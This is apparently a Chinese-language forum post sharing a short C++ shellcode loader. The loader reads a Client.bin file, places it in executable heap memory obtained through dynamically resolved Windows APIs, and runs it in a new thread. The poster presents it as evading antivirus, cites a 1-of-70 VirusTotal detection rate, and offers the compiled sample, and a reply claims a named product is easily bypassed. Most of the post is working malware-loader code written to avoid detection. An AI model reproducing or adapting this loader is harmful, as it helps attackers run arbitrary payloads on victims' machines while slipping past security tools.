本帖最后由 0殺神在心0 于 2023-8-1 23:07 编辑
杀软搞啥呢 就几行代码而已
不至于1/70吧
#include <Windows.h>
#include <fstream>
#include <iostream>
#include <string.h>
void main()
{
int Flag = 0;
switch (Flag)
{
case(0):
if (Flag == 0) {
std::string filePath = ".\\Client.bin";
std::ifstream infile(filePath, std::ifstream::binary);
int size;
infile.seekg(0, std::ios::end);
size = infile.tellg();
infile.seekg(0, std::ios::beg);
char* data = new char[size];
infile.read(static_cast<char*>(data), size);
infile.close();
typedef HANDLE(*HeapCreateFunc)(
DWORD flOptions,
SIZE_T dwInitialSize,
SIZE_T dwMaximumSize
);
HMODULE hKernel32 = LoadLibrary((LPCSTR)"Kernel32.dll");
HeapCreateFunc pHeapCreate = (HeapCreateFunc)GetProcAddress(hKernel32, (LPCSTR)"HeapCreate");
HANDLE HeapHandle = pHeapCreate(HEAP_CREATE_ENABLE_EXECUTE, size, 0);
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, size);
memcpy(buffer, data, size);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
default:
break;
}
}
VT扫结果
VirusTotal - File - ba8edb0c37a8c0f8c7a37a0ec2fd95748a8d39d1e1db258cf823bce25de845eb
编译环境:win11 VS2019 x64
样本附上 解压密码:infected
IP指向是127.0.0.1
如果想要知道效果,就看窗口消失了没有,没消失就是过了
|
发表于 2023-8-1 23:02:03
楼主
FS轻松被过